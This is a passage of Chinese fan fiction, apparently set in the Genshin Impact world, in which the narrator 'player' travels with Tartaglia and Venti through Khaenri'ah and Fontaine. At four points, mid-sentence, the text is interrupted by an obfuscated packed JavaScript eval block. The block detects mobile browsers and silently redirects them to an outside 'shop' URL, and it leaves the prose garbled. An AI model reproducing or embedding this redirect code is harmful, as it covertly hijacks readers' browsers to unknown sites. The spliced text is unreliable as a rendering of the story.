“从那里出来也没有很久。”玩家低头戳着垂在前面的长辫子,“长得好快。就和我们认识温迪、和温迪分开的时间过得一样快。” 达达利亚哑然。 “他总会离开。”达达利亚说道,“现在还只是短暂分别,但旅途终点,他会和我们彻底告别。” “我们?”玩家仰起头,看着上方达达利亚的脸,“不。你也是。扎辫子的手法很熟练。家里的妹妹也在等你吧?” 达达利亚点头:“你真的不考虑结束旅途在至冬长住吗?” “不。”玩家重新把头落了下来,“对于我来说,旅途的终点,只会是新旅途的起点。” “倒是你,见过那么精彩的旅途风景,还愿意乖乖待在至冬当平民吗?” 玩家在问出这句话的时候就知道达达利亚回给出什么样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007664|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答案。 达达利亚不会愿意的。 他只会比玩家更向往星辰大海。 否则他不会一句不提他在至冬的过去,不会如此适应跟他的冒险生活,不会一天比一天更好战强大。 横扫的长枪掀飞群聚的猎犬,拉开的满弓串起头目的心脏。 被命运赋予强大的玩家不好从战斗技巧方面评价达达利亚的进步,但他肉眼可见达达利亚的战斗越来越赏心悦目。 前往坎瑞亚战场中心的路漫长又危机重重,如今的达达利亚已经能独自一人行走在这片土地斩妖除魔,玩家对他的成长喜闻乐见。 喜闻乐见的程度,大概是玩家平日里唯一主动干活的时间,就是提着达达利亚送他的轻剑游走在战场外圈,一边欣赏战场中心的剧目,一边打扫战场。 但达达利亚这点活儿也不愿意让玩家干。即使玩家信誓旦旦说他实力够强,不会被战斗波及,还能给达达利亚兜底。 “那就站到高处。”达达利亚说道,“不挑食是个好习惯,但是你不能在我打架的时候翻尸体吃!” 玩家移开视线。 “食物都是尸体。到嘴边的果子、鱼、肉,都是尸体。”玩家语气平静,“上次是意外,我没尝过骗骗花。上上次也是意外,我没尝过蕈兽。” 他表示这些都是正常人类也想要尝试食用的。 “我在这方面很不信任你。”达达利亚摇头,“这是被我抓包后能看得出的食物来源。那看不出的呢?” 达达利亚似笑非笑看着玩家:“上上上次我们路过沙漠里那片花海坟地的时候你在干什么?” 玩家彻底扭过头去。 “伙伴,我没有谴责你的意思,你这样胡乱进食,是会吃坏肚子的。”达达利亚叹气,“厄歌莉娅遗留的碎片就算了,但是,深渊魔物?不要再吸收他们,太危险了。” “吸收不是进食。”玩家纠正,“我只是把污染集中到自己身上,这是一种净化行为,对我无害,对你也没有什么大影响。” “那你抬起头来看着我说话。”达达利亚又好气又好笑,“吸收他们的力量怎么可能毫无代价。” “代价是很难吃。”玩家表示他有了随身厨子之后也嫌弃野味,只是如今情况特殊。 路过厄歌莉娅埋骨地的时候玩家无意发现他能吸收魔神残渣,周围环境有所改善,对此玩家惊为天人,因为游戏里玩家操纵的主角也有类似净化的天赋。 玩家找到了自己和游戏主角除了外貌以外的另一大相同点。 所以他不是因为饿或者馋所以动口,纯粹是造福社会,以及玩家确实因此变强,对自己的存活率更有信心。 “我打扫完战场去漱漱口。”玩家把这个话题敷衍过去,“你去附近找找幸存者。上次遇到的人是不是给我们指错路了。为什么坎瑞亚还没到。” 据说灾厄是由高天的主人天理以及现存的七神一同结束。玩家见过水神的坟,也知道见不到身负保护任务的草神,但是能见到天理和其余尘世执政之中的任何一位,都让人兴奋。 玩家从水中浮出。 衣服随着他脚踩地面自动蒸干,玩家仰起头,看向烧红的半边天。 啊,看起来不用问路了。 坎瑞亚就在眼前。 8. 008 玩家捎上达达利亚赶路。 非常不幸玩家不会高速移动,很幸运如今的提瓦特到处是坐骑。 玩家找了兽境猎犬帮忙,很快抵达边缘,可惜他们似乎仍然来晚一步,此地已变成一片荒芜。 玩家只看到一个国家的落幕,没能撞见任何一位神明,哪怕是这个世界已经成神的巴巴托斯。 “只有丘丘人。”玩家垂眸看着这片土地上唯一遗留的魔物。当然那也不能称作魔物,而是被诅咒的坎瑞亚遗民。 天空已进行清算。玩家耳边还能听到人语的哀嚎。但同时有些丘丘人的声音已异化成魔物的语言。 玩家拦下了达达利亚:“等等,别对他们动手。他们是坎瑞亚人。” 真想要拨开不知死活凑上来的丘丘人的达达利亚瞬间将枪头掉个儿。 “有什么事吗?”玩家看着那还未彻底失去意识的丘丘人朝他伸出了手。 玩家礼貌地和他握了握。 对方似乎因为他这一举动僵硬身体,张口发出模糊的破碎语音。 “ 王……王子殿下……救……救……” 骤然凄厉的声音控诉王储的背叛,玩家收回穿透丘丘人面具的拳头,垂眼看着这位呓语的深渊牺牲品后仰倒地。 “他说了什么?” “丘丘语。但能听懂。”玩家扶了尸体一把,让他落地,又想要尝试净化,没想到眼前的丘丘人在他面前化作齑粉,“他让我救他,但很可惜,他的灵魂和深渊彻底纠缠在一起了。” 至于这个丘丘人口中的王子殿下…… 游戏里开场选兄妹其一,没有被选择的那个则会成为背景故事里深渊的殿下。这个深渊的殿下与主角相对应,被称作反主。 玩家套用了哥哥的皮,而这个坎瑞亚丘丘人对玩家张口叫哥哥,那很明显了,这个世界有反主,而玩家跟反主长的一样,以至于玩家下意识看天空,想了想他之后能不能和他操纵的主角面对面。 有机会的。 “如果你之后遇见和我长的一样的旅行者,记得分辨。”玩家收回看向天空的视线,对达达利亚如是说道。 “还要花心思分辨吗?”达达利亚诧异,“站在我身边的就是你。” 玩家想想也是。毕竟这里是玩家先和达达利亚认识。 “所以刚才那个人拉住你是因为坎瑞亚有个和你长的很像的家伙?”达达利亚好奇。他此时已经注意到有其他丘丘人看向这里,围向这里。 “嗯,还是王储。”玩家点头,他迎上了那些注视着他的异种,“我试试能不能挽救还未失去意识的他们。” 玩家失败了。 情有可原。玩家最近吃得再多也不可能一下子成长到抗衡天理抗衡规则的程度。不过玩家确实能缓解坎瑞亚人被彻底同化成丘丘人的病情。 玩家把入目所及的所有丘丘人都给尝试了一遍。他尽力救人,也顺手宰了不少意识清醒的丘丘人。 “首先声明我并非你们的王储。”玩家把尸体扔进由他堆砌的坟堆,“其次,至今还认为你们被神罚是命定的救世主不作为,也没有继续保留意识的必要了。” “都是和黑王一样被深渊洗脑的深渊新信徒。” 命定的救世主是反主,剧情里他被召唤而来,失去记忆为王国效忠,然后被坎瑞亚的统治者黑王作为汲取深渊力量的容器,直至灾变结束也只是重获自由,可能终身都困于坎瑞亚的命途。 玩家在剧情里以主角身份体验剧情,自然对身为血亲的反主诸多亲昵,他天然偏向反主,何况这事坎瑞亚也不占理,有些没有自知之明的愚民,已是深渊教徒,不用跟他们多废话,处理就好。 玩家不杀人。深渊魔物另说。 好在行尸走肉的丘丘人更多。他们默不作声,即使意识延续,也像是丢了魂魄的怪物,停留在原地保持一个动作。玩家挑了几个脑子还能动的,让他们领队带着幸存者离开这片废墟。 “这里刚被推平,没什么魔物,时间久了就不一定了。”玩家用手势跟他们对话。因为玩家能听懂坎瑞亚语,丘丘人却不再能懂人类的话。 玩家目送他们远去,回头,往刚才的尸堆里丢了一把火,招呼达达利亚回去。 “看起来没到我们和那些神见面的时候。”玩家一边熟练地打扫战场,一边带着达达利亚沿着来时的路回去,“我们赶路不慢,其实不至于什么都遇不见。” 其实在须弥花海的时候就有很大概率碰上七神的。因为那是受灾最严重的区域。厄歌莉娅战死后天理还在那里集结了剩余七神,让高端战力共同降临坎瑞亚。 结果玩家在须弥甘露花海吸收了厄歌莉娅的力量、在坎瑞亚减轻了罪人的惩罚,本该第一时间对玩家降下神罚的那些存在,却一个也没有出现。 “总有机会再见的。”达达利亚跟在玩家身边笑道,“分散开来也好一个个击破啊。要真的一起上的话,我都来不及看你跟他们战斗就退场了。” “……我为什么要和他们战斗。我是来见偶像的。”玩家发现达达利亚真是跟温迪学坏了,他本来想再次重申自己的和平立场,但很快意识到什么,“你被深渊影响到情绪了?” 玩家一下子停下脚步,目光直直射向达达利亚的方向。 玩家体内深渊波动已经平歇,可玩家对自己的体质也一知半解,在温迪提出来之前,玩家甚至都不知道自己会污染身边人。玩家现在不敢赌达达利亚是否正常。 “那么委屈你了。”玩家举起剑,“我会留你直到温迪归来。” 达达利亚一愣,连忙摆手:“我不是挑拨你去战斗,是……” “是担心你和坎瑞亚一同陨落。”陌生的声音在高处响起,达达利亚下一秒就挽弓射箭,弓箭擦过来者,眨眼间与玩家近在咫尺的面具青年冲着玩家张开了手。 已经挡在玩家面前的达达利亚眯起眼睛,他从青年手里取走那支箭,看向玩家,想知道这位是不是玩家的熟人。 确实是游戏剧情里的熟人。 戴因斯雷布。和反主旅行过一段时间的神秘男。曾和同伴一起组成救世小队,他杀死了黑王,但被另外五个队友背叛,他们瓜分了反主力量,释放深渊,最终引得坎瑞亚举国灭亡。 但是在这里…… 玩家歪头:“你身上的深渊气息比我浓烈。”他把达达利亚拽至身后,让达达利亚走远些,玩家的深渊气息已经无害,但对面这位可就说不准了。 “我没有恶意。”戴因说道,他自我介绍说他是坎瑞亚末代宫廷队长,“我看到你在解救他们。真是不可思议,你现在就能让他们保留人类的意识。如果……” “你想复国?”如果玩家能进一步打破诅咒,坎瑞亚可以东山再起。 “……”戴因注视着玩家,“你对此跃跃欲试?” “是的。”玩家点头,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17007665|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对复兴坎瑞亚不感兴趣,但你想要复兴坎瑞亚就很有意思。我会支持。” 戴因停顿了一秒,看向玩家的表情更复杂:“比起他,你更像黑王。” 玩家:“?” “被黑王彻底同化的深渊容器。”戴因轻笑,“你不在意坎瑞亚,不在意提瓦特,你只在意特选之人的命运是否因你而更加有趣。” 就说玩家更乐意偶遇原著重要角色、看他们与原著截然不同的命运就好了。戴因不愧是谜语人,说得这么弯绕。 “就当你在夸我。”玩家答复,“既然你都亲自过来打招呼了,估计也很乐意被我改变命运。所以,你要复国?” 玩家很耐心地再问了一次,也成功得到了戴因的默认,于是想到原作里为坎瑞亚殚精竭虑的反主以及阻挠反主复国的玩家,觉得事态的发展更有趣了。 “这是我哥哥送我的戒指。”戴因将一枚戒指递给玩家,“他可以刷新身体和记忆,最大程度减免不死诅咒对我带来的影响。等到某个特定的时间,我的记忆可以用作坎瑞亚的养料,帮助所有我还记得的故人在地脉中得到安息。” “这很好。”玩家点头,所以这个世界的戴因没有被包括他哥哥在内的五人背叛吗,“所以这戒指给我干什么?” “因为最初的计划是让我引导王储拯救坎瑞亚。”戴因很冷静地陈述,“王储是被黑王召唤来的世外之人,恢复记忆后一心想带血亲离开,但坎瑞亚需要他这个救世主。” 坎瑞亚的灭亡是坎瑞亚的新生。反主目睹生活多年的国家彻底沦为焦土,又带着血亲逃离提瓦特失败,他只能留在提瓦特流浪寻求出路,戴因会遇见他,引导反主将拯救坎瑞亚与拯救血亲等同,他们最终会兵刃相见,但没关系。 反主的血亲会成功离开提瓦特,自降命格的反主会留在提瓦特,作为坎瑞亚的英雄让提瓦特步入新时代。 至于这个英雄什么下场,别管。 “为了确保计划成功,这枚戒指同样会锁住我是窃取王储力量的第六个罪人的记忆。”戴因将戒指往玩家的方向再推了推,“但我在你身上看到了可以不执行这个计划的可能性。” “你与深渊同行,了解坎瑞亚,对天空与神明充满热忱,你比我更适合作为命运的拾枝者。” 玩家想着他的相关记忆确实远胜于如今的戴因,所以伸出手,然后抓了个空。 达达利亚拿着那枚戒指:“他没有说这个戒指如何保存记忆。更没说他们会如何利用得到这枚戒指的你。” 达达利亚瞥了一眼玩家,将戒指丢了回去:“说这么废话,报酬在哪里,任务是什么,没人想听你愧对王储的自白告罪,把救国的任务推给外人,自己去追求力量,真是笑掉大牙。” “不。和那五人主动套取力量不同,我是杀了黑王之后自动吸收了不属于我的力量。”戴因淡淡道,“我无法丢掉这枚戒指,失去记忆后也必定会顺应他们的计划,成为王储救世牺牲后的既得利益者,就像是我哥预言的那样。” 不过戴因说他的道德底线还是比较高,没有那五人的雄心壮志,他并不想王储死,也不想真的变成名副其实的罪人。即使兄长的安排同样对他利大于弊。 “拿着它,旅者,它对你而言只是记忆的储存器,我仍会失去记忆,所以请你告诉之后的我,我在和五大罪人彻底决裂后遇见了你,我愿意为了坎瑞亚向你这位同谋献出我的所有力所能及。” 9.009 “是的,你把自己卖给我了。” 戴因记忆被锁定的事情发生得比玩家想象中都要快,好在玩家在和戴因同行的这段时间斟酌过措辞,所以用最简洁的语言概括了情况。 “这是戒指。你把你哥的所有物供奉给我了。”玩家转动着戴在大拇指上的戒指,“因为我能抑制诅咒,长着王储的脸,没有威逼利诱主动向你寻求合作。” 玩家放出了戒指储藏的声音。 “我愿意……为……你……献出……我的所有……” 取自戴因的原话。因为戴因也怕失去记忆后没有提前提醒,自己仍会走上他的兄长为他既定的道路,他也是在帮失忆后的自己不要一错再错。 玩家在这些天帮着坎瑞亚安置了丘丘人,建议意识清醒的幸存者可以给自己打造包裹丘丘人外表的机甲,戴因醒来的时候,已经有戴着仿真面具裹着毛茸茸冬装的坎瑞亚人在基地里乱跑了。 坎瑞亚人永世不得超生的诅咒,在此刻却仅仅像是国民们得到了化身幼童重来一次的机会。 所以即使戴因的记忆紊乱得比之前更严重,看到这一幕也毫不犹豫地认可了他之前的选择,他相信自己对玩家献上了忠诚,相信玩家能让烂透了的坎瑞亚在灾厄后彻底新生。 “王。”末光之剑单膝下跪。 玩家沉默,低头看了看戒指外放的声音,又回忆了自己之前的言辞。 不,不是,他们是合作者,只是玩家出技能戴因出脑子力气的这种合作,不是玩家要当坎瑞亚新王…… 玩家被吓跑了。 “我不要把坎瑞亚变成我的责任。”路上玩家和达达利亚吐槽,“那烂摊子还是让坎瑞亚人自己收拾。” “他和他哥哥不愧是兄弟。”达达利亚挑眉,“还是想把坎瑞亚的命运捆绑在外人肩上。” “他和他哥还是不一样的。”玩家摇头,“至少他愿意承认自己对反主的背叛,与我交易时,也坦诚相待,更乐意以平等的态度合作。” 不像是预言家维瑟弗尼尔,更愿意独自统筹安排,国家大事上如此,在兄弟情份上,也是不给自己弟弟戴因斯雷布选择的机会。 但是这些是对玩家都没有影响。 玩家很快就会离开这个提瓦特,他只有很小的概率能看见这个被他影响过的提瓦特的未来。 “这都快到枫丹了,还是没见到温迪。”玩家摇头,“沿路打听到的蒙德消息也很少。” “他会自己送上门来的。”达达利亚让玩家没必要太过担心那只风精灵,“放心好了,他很擅长照顾自己。” 达达利亚说玩家才是那个让人担心的家伙。没有达达利亚,很难想象玩家会把自己活得多草。 这里不仅仅是说玩家的衣食住行停留在能活就行的水平。主要是说玩家有做好事不留名的坏习惯。 作为世外之人,玩家不会为谁的牺牲而悲痛欲绝,但作为人,他哀悼这片土地遭受的不幸,沿路也会为他所见之人做些力所能及的好事。 但之前他身上的深渊气息难以隐藏,不少人对玩家避之唯恐,社交能力本就不行的玩家几次碰钉子,已经习惯让达达利亚出面,他自己远远落在后方默默观察。 玩家切实为坎瑞亚带来契机,切实为某些人类带来新生,但他甚至不打算收获一句口头感谢的回报。 “很难不赞同戴因评价你的那句话。”达达利亚耸了耸肩,“你比那位传说中的王储更适合牺牲。他还有个妹妹作为牵绊,你无牵无挂,还不乐意和任何人建交。” “这不是你把你救人的功劳也往我身上推的理由。”玩家不满。 “我可没有拯救弱者的习惯。”达达利亚撇嘴,“你不想跟人打交道,那就只接受信徒的跪谢感恩就好,你要和提瓦特建立联系,哪怕不和任何人深交。” 他凑近玩家,弯曲长腿降低海拔与玩家的视线平行:“你不是为见证而来的旅者,你该由我们见证你为提瓦特带来的无限可能。” 玩家眨了眨眼。 他肯定了。自己的深渊影响还在。促使理智克制的戴因认他为主,引诱慕强的达达利亚对他抱有不切实际的幻想。 “我忘了。”玩家重新举起剑,“我得限制你行动等温迪来检查你脑子是不是不正常了。” 精准打击! 重新与玩家二人汇合的温迪笑得都滚地上去了。 风精灵好不容易飞起来,小手擦擦眼泪,又没忍住降低海拔,边笑边解释。 “他没事,他只是在担心你的生命安全和心理健康,哎呀,我以为他和你认识那么久早该熟悉你的思考方式了,没想到还能在这上面栽跟头。” 风精灵飞到达达利亚身边,好奇地左顾右盼:“你就这么穿着绳子进的枫丹?哎呀,早知道我去城门口迎接你们了,那场面一定很热闹!” “他做了个小推车把我放上面用白布遮起来推进枫丹的。”达达利亚生无可恋,“找的果子很涩,肉熟过头了,换衣服很频繁,洗澡时都在问我有没有哪里不舒服,好在没我去和别人聊天他能主动和那些家伙搭话了。” 温迪的笑容瞬间收了回去。 “噢,这样啊。”温迪很敷衍地点头,看着松了一口气的玩家帮达达利亚解开绳索、非常认真地道歉,表情越发冷漠,但等玩家看过来的时候,温迪又若无其事地露出了一个温和柔软的笑容。 玩家歪头。 “我的问题。”玩家说道,“也折腾你要去一趟蒙德。” “别这么说。”温迪轻笑,“这些天你也辛苦了,去枫丹廷逛逛吧,我带达达利亚去找那维莱特,检验下最近他的实战成果。” 达达利亚瞬间向温迪投来跃跃欲试的目光。温迪想要叹气的欲望更强烈了。 玩家则是为达达利亚进步的喜悦而同样心情愉快。他点出自己这些天得到的物资以及临时货币,递给温迪,让温迪在训练前给达达利亚和自己买些新衣服。 “我过来的时候有路过一家店,那里的衣服款式很适合你,还有特小同款的定制服务,到时候让他带你去看看。”玩家也很想看到温迪人形和风精灵形态的新装扮。 这句话说得温迪也一下子眼睛亮了,他是真的被哄得高兴起来,风精灵飞上去吧唧给了玩家脸蛋一口,手掌大小的身体便落到达达利亚肩上,指挥着达达利亚带路。 玩家在他们出门后去枫丹廷闲逛。 然后玩家偶遇了芙宁娜,剧情原作里芙卡洛斯分裂出来的人类个体,用于扮演神明欺骗天理从预言中拯救枫丹,但是如今的芙宁娜并不需要以人类之躯扛起神明都难以承担的责任。 芙宁娜只是一个刚诞生没多久积极探索世界的好奇孩子。玩家看到她正在和一个撑伞的朋友逛街吃蛋糕。 想打个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17014410|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招呼的玩家倏然止步。 “没错,站在你面前的就是新晋枫丹科学院元素顾问的芙宁娜女士!为我们的相遇举杯欢庆吧!这可是你的荣幸!”和芙卡洛斯拥有同一张脸的芙宁娜肆意欢笑,她摘下礼帽,对玩家致敬,语气是底气十足的优雅从容,“当然,芙卡洛斯和那维莱特都跟我提过你了,认识你也是我的荣幸!” 玩家很高兴能和芙宁娜面对面交谈,更高兴自己又能看到剧中人与自己记忆里完全不一样的张扬。 但他此时又控制不住把目光集中到芙宁娜身侧那位身上。 玩家看到了那位撑伞朋友的脸。她拥有柔顺的长发、温婉的面容,长得很像是剧情里在坎瑞亚灾变中逝世的稻妻神明雷电真。不,这就是本人。 “初次见面,旅者。”穿着枫丹繁复礼裙的雷电真表情柔和,“没想到您已经抵达枫丹。我本打算挑个吉日登门拜访,现在两手空空,实在是亏欠。” 玩家思考。 玩家在芙宁娜和雷电真的对面坐了下来,也让对面两人坐下。雷电真刚才站起来的时候甚至对他微微鞠躬,属实是让玩家头皮发麻。 “温迪做了什么?” 玩家知道温迪曾在枫丹取走了厄里那斯的灵魂,所以猜测温迪在他不知道的情况下对雷电真做了类似的帮助。 玩家猜对了。 雷电真坦诚表示温迪救下了她的性命,但提瓦特命定的未来没有她的容身之处,她的妹妹雷电影强硬要求她离开稻妻规避命中注定的死亡,说稻妻一切交给她,她会竭尽全力为姐姐争一个未来。 “要相信你的妹妹呀。姐姐是那么优秀的神明,妹妹也一定很了不起!”也相当于芙卡洛斯妹妹的芙宁娜挺起胸膛,代入神明血亲的视角,现身说法让雷电影放宽心态。 玩家回想着剧情里二代雷神的一系列操作,觉得一代雷神还是不要放宽心态,毕竟她妹在治国上可能确实没什么天赋…… 雷电真比玩家更了解妹妹,只能说她还活着的消息能让妹妹不那么激进,所以礼貌地笑着,说她相信自己的妹妹,她会一直关注妹妹的成长进步。 玩家也放心了。他坐在椅子上和两人聊起枫丹的近况,了解到由于群英荟萃,枫丹在灾后的重建工作进行得非常顺利,还成立了枫丹科学院等机构,有效改善了枫丹人的生活环境。 玩家听着有些不对。 “距离你们上次离开枫丹,已经过去了十年。”芙宁娜给玩家倒了一杯热茶,“坎瑞亚作为地下之国,时间流逝也和地上不太一样,你出来的时候没发现吗?” 玩家沉思:“遇到的魔物少了,遇到的危险难度低了。” 但玩家以为这很正常。毕竟大战刚结束,玩家也不像是达达利亚那样擅长找到战斗,原来一晃已经这么多年过去。 难怪枫丹廷恢复繁华,芙宁娜坐在露天餐厅开茶话会,雷电真还入乡随俗换上了繁复礼裙撑了把阳伞。 “也是好事。”玩家并没有时间悄无声息溜走的负面情绪,还认真点头,“原本我以为十天就够他们完成水淹枫丹神位易主纯水精灵变成完全人类的演出了。现在我至少不用白等十年。” “因为这十年最重要的导演都是缺席状态啊。”芙宁娜悠悠道,“导演大人,你知道小小一个枫丹剧场要同时安抚水龙、水神、前风神、前雷神这种位格的演员,有多么不容易吗?” 10.010 很不容易。 玩家很难想象芙宁娜口中的这几位大神是如何安分守己地在枫丹待了那么多年的。而且,最重要的导演是指谁? “我只是带来了未来。”玩家觉得自己论战力比不上那维莱特论智谋比不上芙卡洛斯论欢迎度比不上芙宁娜,“你们没必要等待一个无足轻重的观众。” “带来未来这种话本身就很了不起不是嘛!”芙宁娜嬉笑,“感谢你们这些不在命运之中的变数,你们让枫丹、让我、让芙卡洛斯都有了更多选择的机会。” 她指尖指向前方:“瞧,神圣的欧庇克莱歌剧院,指向天穹的格式塔,智慧的枫丹科学院,以及海洋里呼吸的水仙十字院……” 芙宁娜跃跃欲试:“你现在忙吗?要不要我带你去这些地方走一走逛一逛?在你面前的可是拥有枫丹最高通行权限的芙宁娜大人!” 玩家眨眼,他双手抱着热腾腾的茶杯,一副努力思考的状态。 “您可别拒绝这样一个难得的机会。”雷电真轻笑,“枫丹很多地方,非人止步,而芙宁娜女士畅通无阻。” 玩家询问:“芙卡洛斯和那维莱特也不能进?” 雷电真笑而不语。 玩家把手中的茶水直接倒干净:“我要去参观。就现在。” “哎!笨蛋!体感温度和茶会礼仪都限制一口闷的鲁莽!——给我把勺子吐出来那是蛋糕上的勺子不是巧克力!” 芙宁娜气呼呼地带路。 “抱歉,我以为茶会要结束了,我不是故意抢你的蛋糕的。”玩家很愧疚。他还以为芙宁娜已经做好了出发的准备。 “不是蛋糕的问题!都说了是勺子!勺子!那维莱特刚参加茶会的时候都知道不能吃餐具!” 芙宁娜给玩家塞了一盒糖果罐子:“真是的,你在野外过得都是什么苦日子,我们沿路再买些吃的,先去可以带食物的参观点,像是科学院啊格式塔那些地方,就只能委屈你含着糖果了!不然会打扰阿兰和雷内他们的工作的!” 玩家抱着糖罐子乖乖点头。 雷电真此时已经借故离开,毕竟她身为魔神,枫丹神明和水龙都不方便进入的人类领域,她也不好拜访;如今是玩家独自跟着芙宁娜。 玩家本以为他和芙宁娜二人之间,是他照顾芙宁娜才对。 没想到被照顾了。 玩家往嘴里丢了一颗糖果,跟着芙宁娜去枫丹科学院见到了首席阿兰以及他身边的木偶。 “那孩子是阿兰仿照他妹妹的模样制造出来的机械生命。”芙宁娜兴致勃勃地牵起了木偶的手,“很了不起吧,冰冷的零件也能诞生人类的意志。” 机械飞升。这是避免枫丹人溶解于水的措施之一。 “哎,雷内不在?那真是太遗憾了,空,我带你四处走走……这是格式塔,也是梅洛彼得堡监狱的陆地区域,雷内在此研究世界式。” “汇聚所有溶于水的枫丹人意识,这就是他的课题。当然,和深渊一样,这是禁忌课题。所以格式塔的日常是镇守原始胎海的第一个决堤口。” 意识同化。这是枫丹人溶解于水后的补救措施之一。 玩家在格式塔中告别魔物外形的科研人士,他咬碎快要融化的糖果,又跟着芙宁娜潜入了海底。 路上玩家瞧见了不少纯水精灵。 “枫丹的水质在厄里那斯死后已经被彻底污染,不会再有新的纯水精灵诞生,所以如今还幸存的纯水精灵,会经常聚在一起享受她们珍贵的聚会,地点就在水仙十字院,那里的院长也是纯水精灵。她养育了很多孩子,包括我之前带你见的所有朋友。” 芙宁娜从容踩上了青石板,她抖抖身上的水珠,邀请玩家一同进入水下城堡。 “也唯有在这里,你可以同时瞧见智慧的人、人变成的非人之物、人形的纯水精灵、人形的龙,以及从高天手中接管龙权的人神。” 所以枫丹的这些力量都已经拧成一股绳,齐心协力对抗预言。 这是好事。 这是好事? 玩家抬眼。 他瞧见一片喧哗。许久未见的芙卡洛斯和芙宁娜,一直维持着风精灵体型的温迪,以及被枫丹青年雷内拉着一直说些什么的达达利亚。 而当轻快的脚步声在这片喧闹中响起,一切仿佛按下了停止键,所有人朝着芙宁娜的方向看来,也不可避免将目光落在了落后一步的玩家身上。 “嗨,各位,我把我们最尊贵的客人请来啦。”芙宁娜笑着冲在场的所有人招了招手,“这么巧,都聚集在这呀,还以为你们都在欧庇克莱歌剧院办欢迎会呢,原来是背着我换了一个聚会地点?” 芙宁娜在跟他们打招呼。 他们回应。也有人跟玩家打招呼。 太多人了。有刚才第一眼没看到的水仙十字院长以及和木偶长得一样的玛丽安。有不认识的纯水精灵。还有分明从事邪恶研究却行动自如的雷内。 玩家慢吞吞移动到了达达利亚身边。 玩家今天认识了很多人,也知道了很多事,想不通的也太多,索性放弃思考。 玩家只需要知道如今的枫丹不需要为预言烦忧。光是人类自身发展科技就想出了两个预言的应对措施,更不用说神明与水龙能做什么了。 “预言对枫丹已经不是问题。”玩家把原著里作为枫丹邪教头子的雷内大师从达达利亚面前拨开,“该按照约定送我们进入原始胎海离开。” 他瞥了一眼雷内,还是没控制住眉头紧皱。 预言不是问题。可此时枫丹有其他大问题。 怎么能把融合所有枫丹人的意识作为补救措施,怎么能放任一个把朋友变成魔物的科研人员在枫丹自由穿行。 玩家很乐意看到芙卡洛斯丢掉牺牲精神,甚至愿意和人类一同研讨救世难题,但是这并不意味着现在的神明可以将未来彻底交给人类。 坎瑞亚是前车之鉴。 格式塔里还放着两位被雷内直接或间接变成魔物的人类。他们还是雷内的朋友。现在枫丹科学院和这样的疯狂科学家一起共事就算了,怎么芙卡洛斯他们还一副听之任之的放权状态? 芙宁娜还和雷内关系不错的样子。 真是疯了。玩家怀疑自己在枫丹待的那几天就把枫丹高层传染了个遍,这些人脑子全和深渊沾边。 “什么时候可以走?”玩家盯着芙卡洛斯,眼神余光暗示温迪赶快到他身边,“该到你们履行承诺的时候了。” 风精灵接收到了玩家的视线。 “空,你记错了,交易里不是这么说的。”温迪从善如流地来到玩家的身边,“你得见证枫丹预言落幕,芙卡洛斯才同意让我们进入原始胎海。” 玩家退了一步。 来不及为玩家和温迪之间的心有灵犀而高兴,接下来到达玩家身边的是同样在这个枫丹待了十年的非人选手。 说不定玩家的影响一直在。还愈演愈烈。只是温迪已被同化,才说达达利亚没事,才没有说枫丹已经沦陷。 背后的达达利亚从刚才开始也一直没说话。四周除了温迪的说话声音,玩家什么都听不见。 有点可怕。玩家心想。 “一起来见证吧。”温迪笑盈盈地冲着玩家伸出了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17023100|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“见证枫丹的新世界——嗷!” 温迪瞬间变成人形努力把自己的脑袋从玩家嘴里拔出去。 周围人呆滞一瞬也手忙脚乱上来帮忙拉开他们,玩家本来想尝试多咬几口,等芙宁娜眼疾手快把饼干塞他嘴里还飙女高音的时候,玩家才醒悟过来他不会被献祭给深渊了。 “谁会把你献祭给深渊啊!”芙宁娜拉着院长莉莉丝和玛丽安努力给玩家生产蛋糕,“你在坎瑞亚都遭遇了什么?!” 玩家坐在椅子上和刚换好衣服走进来的温迪对视。 “有个和他长得一模一样的王储被坎瑞亚黑王献祭给了深渊。”达达利亚也在懊恼刚才他在努力咽蛋糕而没有第一时间解释给予玩家安全感,“他只是担心又莫名其妙被杀,所以应激了……” 